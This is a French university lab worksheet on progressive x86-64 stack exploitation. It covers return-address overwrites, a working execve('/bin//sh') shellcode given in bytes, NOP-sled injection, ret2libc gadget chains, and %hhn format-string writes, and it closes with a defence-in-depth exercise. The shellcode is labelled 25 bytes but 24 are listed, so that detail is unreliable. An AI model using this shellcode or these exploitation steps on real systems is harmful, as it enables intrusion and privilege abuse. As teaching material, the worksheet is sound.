Université de Perpignan
C. Legrand

L3 Informatique
Année 2026

TD6 Sécurité Informatique

Projet StackX64 – Exploitation progressive x86-64

Avertissement éthique et légal

Les techniques présentées dans ce TD sont étudiées dans un **cadre strictement académique** afin de comprendre les mécanismes d'exploitation des vulnérabilités mémoire et ainsi pouvoir mieux s'en protéger.
Toute utilisation de ces techniques en dehors du cadre pédagogique est illégale et passible de sanctions pénales (chapitre III du Code pénal, articles 323-1 à 323-8 – *Des atteintes aux systèmes de traitement automatisé de données*) :

- Accès ou maintien frauduleux dans un STAD (art. 323-1) : **3 ans** d'emprisonnement et **100 000 €** d'amende
- Entrave au fonctionnement d'un STAD (art. 323-2) : **5 ans** d'emprisonnement et **150 000 €** d'amende
- Introduction frauduleuse de données dans un STAD (art. 323-3) : **5 ans** d'emprisonnement et **150 000 €** d'amende

Peines portées à **7 ans** et **300 000 €** lorsque le système visé traite des données à caractère personnel mis en œuvre par l'État, et jusqu'à **10 ans** et **300 000 €** en bande organisée (art. 323-4-1). *Peines mises à jour par la loi LOPMI n° 2023-22 du 24 janvier 2023.*

Dans ce TD-projet, vous allez explorer **progressivement** les techniques d'exploitation des vulnérabilités mémoire en x86-64. En partant de la reconnaissance de la pile jusqu'aux attaques avancées (shellcode, ret2libc, format strings en écriture), chaque phase approfondit la précédente et introduit une nouvelle technique d'attaque ou de défense.

Prérequis : TD5 (débordement de tampon simple, modification d'adresse de retour, chaînes de format en lecture). Connaissance de base de GDB et de l'assembleur x86-64.

Environnement requis : Machine Linux x86-64 (Debian 12/13 recommandé). Outils : `gcc`, `gdb`, `python3`, `objdump`, `ROPgadget` (optionnel).

Attention

Toutes les manipulations doivent être effectuées sur une **machine virtuelle dédiée** ou un environnement isolé. Désactivez l'ASLR **uniquement** dans cet environnement :

```
sudo sysctl -w kernel.randomize_va_space=0
```

Exercice 1 (Projet StackX64)**.**

Phase 1 – Reconnaissance et cartographie mémoire *(∼25 min)*

Rappel de cours

La pile x86-64 et les registres clés :
En architecture x86-64, la **pile** (*stack*) croît vers les adresses basses. Les registres principaux sont :

- **RSP** (*Stack Pointer*) : pointe vers le sommet de la pile (dernière valeur empilée)
- **RBP** (*Base Pointer*) : pointe vers la base du cadre de pile de la fonction courante
- **RIP** (*Instruction Pointer*) : adresse de la prochaine instruction à exécuter

Organisation d'un cadre de pile lors d'un appel de fonction :

```
Adresses hautes
+---------------------------+
| ...                       |
| Argument 7+ (si > 6 args)|  <-- empiles par l'appelant
+---------------------------+
| Adresse de retour (8 o.)  |  <-- empilee par CALL
+---------------------------+
| RBP sauvegarde (8 octets) |  <-- RBP pointe ici
+---------------------------+
| Variables locales         |  <-- RSP pointe vers le bas
| (buffer, etc.)            |
+---------------------------+
Adresses basses
```

Commandes GDB essentielles :

- `disassemble <func>` : désassembler une fonction
- `info registers` : afficher les registres
- `x/Nx <addr>` : examiner N mots mémoire en hexadécimal
- `x/s <addr>` : examiner une chaîne de caractères
- `break *<addr>` : point d'arrêt à une adresse
- `run < <(python3 -c "...")` : exécuter avec une entrée générée par Python

1a) Compiler le programme `stackx64.c` avec **toutes les protections désactivées** :

```
gcc -fno-stack-protector -no-pie -z execstack -g stackx64.c -o stackx64
```

Exécuter le programme avec une entrée normale (ex : `AAAA`). Observer les adresses affichées par les messages `[DEBUG]`.

1b) Ouvrir le programme dans GDB (`gdb ./stackx64`). Désassembler la fonction `vulnerable_function` avec `disassemble vulnerable_function`. Identifier l'instruction `sub rsp, 0x...` qui réserve l'espace pour les variables locales. Quelle est la taille réservée ?

1c) Placer un point d'arrêt après le `gets` dans `vulnerable_function`. Entrer `AAAAAAAA` (8 A). Examiner la pile avec `x/20gx $rsp`. Dessiner le schéma complet de la pile en identifiant :

- L'adresse et le contenu du buffer
- L'adresse et la valeur du RBP sauvegardé
- L'adresse et la valeur de l'adresse de retour

1d) Calculer l'**offset** (distance en octets) entre le début du buffer et l'adresse de retour. Vérifier votre calcul avec GDB en envoyant une chaîne de taille connue et en observant l'écrasement.

1e) Construire une entrée qui redirige l'exécution vers `secret_function()` en écrasant l'adresse de retour. Utiliser Python3 :

```
python3 -c "import sys; sys.stdout.buffer.write(b'A'*?? + b'\x...\x...\x
    ...\x...\x...\x...\x00\x00')"
```

Remplacer `??` par l'offset et les `\x..` par l'adresse de `secret_function` en **little-endian**.

Phase 2 – Analyse et test de shellcode *(∼30 min)*

Rappel de cours

Shellcode : code machine pur
Un **shellcode** est une séquence d'octets représentant du code machine directement exécutable, conçu pour être injecté en mémoire. Son objectif classique est d'ouvrir un *shell* (`/bin/sh`).

Conventions d'appel système x86-64 (Linux) :

Registre	Rôle
`rax`	Numéro du syscall (59 = `execve`)
`rdi`	1er argument (`filename`)
`rsi`	2e argument (`argv`)
`rdx`	3e argument (`envp`)

Contrainte des null bytes : les fonctions C de manipulation de chaînes (`strcpy`, `gets`, etc.) s'arrêtent au premier octet `0x00`. Le shellcode ne doit donc contenir **aucun octet nul**.

Voici un shellcode x86-64 de 25 octets qui exécute `execve("/bin//sh", NULL, NULL)` :

```
xor     rsi, rsi                ; rsi = 0 (argv = NULL)
push    rsi                     ; empile 0 (terminateur de chaine)
movabs  rdi, 0x68732f2f6e69622f ; rdi = "/bin//sh"
push    rdi                     ; empile "/bin//sh" sur la pile
push    rsp                     ; empile l'adresse du sommet de pile
pop     rdi                     ; rdi = pointeur vers "/bin//sh"
xor     rdx, rdx                ; rdx = 0 (envp = NULL)
mov     al, 59                  ; rax = 59 (numero syscall execve)
syscall                         ; appel systeme execve
```

Shellcode execve – 25 octets

Représentation en octets :

```
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68
\x57\x54\x5f\x48\x31\xd2\xb0\x3b\x0f\x05
```

2a) Pour chaque instruction du shellcode ci-dessus, expliquer son rôle dans la construction de l'appel `execve("/bin//sh", NULL, NULL)`.

2b) Pourquoi utilise-t-on `xor rsi, rsi` au lieu de `mov rsi, 0` pour mettre un registre à zéro ? Quel problème `mov rsi, 0` poserait-il ? (Indice : examiner les opcodes avec `objdump` ou un assembleur en ligne.)

2c) Expliquer le concept du **NOP sled** (`0x90` = instruction `NOP`). Dessiner un schéma montrant pourquoi on pointe vers le milieu du NOP sled plutôt qu'exactement au début du shellcode.

2d) Compiler et tester le programme `test_shellcode.c` :

```
gcc -z execstack -o test_shellcode test_shellcode.c
./test_shellcode
```

Que se passe-t-il ? Tapez `exit` pour quitter le shell obtenu.

Phase 3 – Injection de shellcode par débordement *(∼35 min)*

Rappel de cours

Structure d'un payload d'injection de shellcode :
Le payload est construit pour tenir exactement dans l'espace buffer + RBP + adresse de retour :

```
+-----------------------------------------------+----------+
| NOP sled (0x90 * N) | Shellcode (25 octets)   | Addr ret |
+-----------------------------------------------+----------+
|<------------ 72 octets (offset) ------------>|<--8 o.-->|
                                                Total: 80 octets
```

L'adresse de retour pointe vers une adresse **à l'intérieur du NOP sled** (dans le buffer).

Attention

L'ASLR doit être **désactivé** pour cette phase. Vérifiez avec :

```
cat /proc/sys/kernel/randomize_va_space
```

La valeur doit être `0`. Sinon : `sudo sysctl -w kernel.randomize_va_space=0`

3a) Dans GDB, trouver l'adresse exacte du buffer. Placer un point d'arrêt juste après le `gets`, exécuter avec une entrée quelconque, puis examiner l'adresse affichée par le programme ou lire le registre RSP.

3b) Construire le payload Python3 complet :

- **NOP sled** : 47 octets de `\x90`
- **Shellcode** : 25 octets (donné en Phase 2)
- **Adresse de retour** : 8 octets pointant vers le NOP sled (en little-endian)
- Total : $47 + 25 + 8 = 80$ octets

Écrire le script Python3 qui génère ce payload.

3c) Exécuter l'exploit :

```
(python3 exploit_phase3.py ; cat) | ./stackx64
```

Le `; cat` maintient `stdin` ouvert pour interagir avec le shell obtenu. Vérifier que vous obtenez un shell en tapant `whoami`.

3d) Expliquer pourquoi l'adresse de retour doit être écrite en **little-endian**. Convertir l'adresse `0x7fffffffde10` en little-endian.

Attention

Les adresses peuvent être **différentes** entre GDB et l'exécution directe. GDB ajoute des variables d'environnement qui décalent la pile. Si l'exploit fonctionne dans GDB mais pas en dehors, ajustez l'adresse (typiquement quelques dizaines d'octets de différence).

Phase 4 – Protection NX et Return-to-libc *(∼35 min)*

Rappel de cours

NX (No-eXecute) / DEP (Data Execution Prevention) :
La protection **NX** marque la pile (et d'autres régions de données) comme **non exécutables**. Toute tentative d'exécuter du code sur la pile provoque un signal `SIGSEGV`.

Return-to-libc (ret2libc) :
Au lieu d'injecter du code, on **réutilise** des fonctions déjà présentes en mémoire (dans la libc). L'appel `system("/bin/sh")` nécessite :

1. Un **gadget** `pop rdi; ret` pour placer l'argument dans RDI
2. L'adresse de la chaîne `"/bin/sh"` dans la libc
3. L'adresse de la fonction `system()`

Alignement de pile 16 octets :
L'ABI x86-64 exige que RSP soit aligné sur 16 octets lors d'un `call`. Après un `ret` (qui dépile 8 octets), RSP n'est plus aligné. Un gadget `ret` supplémentaire réaligne la pile.

Structure du payload ret2libc :

```
+--------+-----+------------+----------+----------+
| Padding| ret | pop rdi;ret| "/bin/sh" | system() |
| 72 o.  |8 o. | 8 octets   | 8 octets | 8 octets |
+--------+-----+------------+----------+----------+
           ^       ^             ^          ^
           |       |             |          |
         align   gadget      argument   fonction
```

4a) Recompiler `stackx64.c` **sans** `-z execstack` (NX activé) :

```
gcc -fno-stack-protector -no-pie -g stackx64.c -o stackx64
```

Relancer l'exploit de la Phase 3. Que se passe-t-il et pourquoi ?

4b) Trouver l'adresse de `system()` dans GDB :

```
(gdb) break main
(gdb) run
(gdb) print system
```

4c) Trouver l'adresse de la chaîne `"/bin/sh"` dans la libc :

```
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
```

Puis additionner l'offset trouvé à l'adresse de base de la libc (visible avec `info proc mappings` dans GDB).

4d) Trouver un gadget `pop rdi; ret` dans le binaire ou la libc :

```
ROPgadget --binary stackx64 | grep "pop rdi"
```

Ou avec `objdump` :

```
objdump -d stackx64 | grep -A1 "pop.*rdi"
```

4e) Trouver un gadget `ret` simple (pour l'alignement) dans le binaire.

4f) Construire le payload ret2libc complet en Python3 et exécuter l'exploit.

4g) Remplir le tableau comparatif entre l'injection de shellcode (Phase 3) et le ret2libc (Phase 4) :

Critère	**Injection shellcode**	**Return-to-libc**
Code injecté ?		
Fonctionne avec NX ?		
Nécessite `-z execstack` ?		
Flexibilité de la charge utile		
Complexité de construction		
Sensible à l'ASLR de la libc ?		

Phase 5 – Attaque par chaîne de format en écriture *(∼30 min)*

Rappel de cours

Le spécificateur `%n` : de la lecture à l'écriture
En Phase TD5, vous avez utilisé `%x` et `%p` pour **lire** la pile via `printf(buffer)`. Le spécificateur `%n` va plus loin : il **écrit** le nombre de caractères affichés jusqu'ici à l'adresse pointée par l'argument correspondant.

Variantes de `%n` :

Format	Taille d'écriture	Usage
`%n`	4 octets (int)	Écriture complète
`%hn`	2 octets (short)	Écriture 16 bits
`%hhn`	1 octet (char)	Écriture 8 bits

Accès direct avec `$` : Le format `%k$hhn` utilise le **k-ième** argument de la pile pour l'écriture, sans consommer les arguments précédents.

Difficulté en 64 bits : Les adresses x86-64 comme `0x00000000004040XX` contiennent des **octets nuls**. Si l'adresse est en début de chaîne, `printf` s'arrête au premier `0x00`. Solution : placer l'adresse **en fin de chaîne** et ajuster l'offset `k`.

Attention

Compiler `formatx64.c` avec :

```
gcc -fno-stack-protector -no-pie -U_FORTIFY_SOURCE -g formatx64.c -o
    formatx64
```

L'option `-U_FORTIFY_SOURCE` désactive la protection qui bloque `%n` dans les versions récentes de la glibc.

5a) Localiser le buffer sur la pile en utilisant `%p` :

```
./formatx64 "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
```

Trouver l'offset `k` tel que `%k$p` affiche `0x4141414141414141` (les 8 `A` = `0x41`).

5b) Trouver l'adresse de la variable globale `is_admin` avec `nm` ou `objdump` :

```
nm formatx64 | grep is_admin
```

5c) Construire l'exploit `%hhn` pour écrire une valeur non nulle dans `is_admin`. La stratégie est :

(a) Placer l'adresse de `is_admin` en fin de payload (après les spécificateurs de format)
(b) Utiliser du padding pour ajuster le nombre de caractères affichés
(c) Utiliser `%hhn` avec l'offset approprié pour écrire dans `is_admin`

5d) Exécuter l'exploit et vérifier que le message `"Admin access granted!"` s'affiche.

Phase 6 – Synthèse et mécanismes de défense *(∼25 min)*

Rappel de cours

Défense en profondeur (*defense in depth*) :
Aucune protection individuelle ne bloque toutes les attaques. La sécurité repose sur **plusieurs couches** complémentaires :

Mécanisme	Principe	Flag GCC
Stack canaries	Valeur sentinelle avant l'adresse de retour	`-fstack-protector`
NX / DEP	Pile non exécutable	(activé par défaut)
ASLR	Randomisation des adresses mémoire	(noyau)
PIE	Code exécutable à adresse aléatoire	`-pie`
Full RELRO	GOT en lecture seule	`-Wl,-z,relro,-z,now`

6a) Pour chacun des 5 mécanismes de défense (stack canaries, NX, ASLR, PIE, Full RELRO), décrire en 2-3 phrases :

- Son **principe** de fonctionnement
- Quelle(s) **attaque(s)** il bloque
- Le **flag** de compilation ou de système pour l'activer/désactiver

6b) Remplir la matrice suivante (5 protections × 4 attaques). Pour chaque case, indiquer : **BLOQUE**, **ne bloque pas**, ou **partiellement** (avec justification).

	Overflow → secret()	**Shellcode injection**	**Ret2libc**	**Format string %n**
Stack canaries				
NX / DEP				
ASLR				
PIE				
Full RELRO				

6c) Quelle **combinaison minimale** de protections permet de bloquer les 4 types d'attaques vues dans ce TD ?

6d) **Réflexion :** Un attaquant avancé dispose de techniques comme les *fuites d'information* (information leaks) pour contourner l'ASLR et les *chaînes ROP* complexes pour contourner NX. Pourquoi la **défense en profondeur** reste-t-elle nécessaire malgré ces contournements ?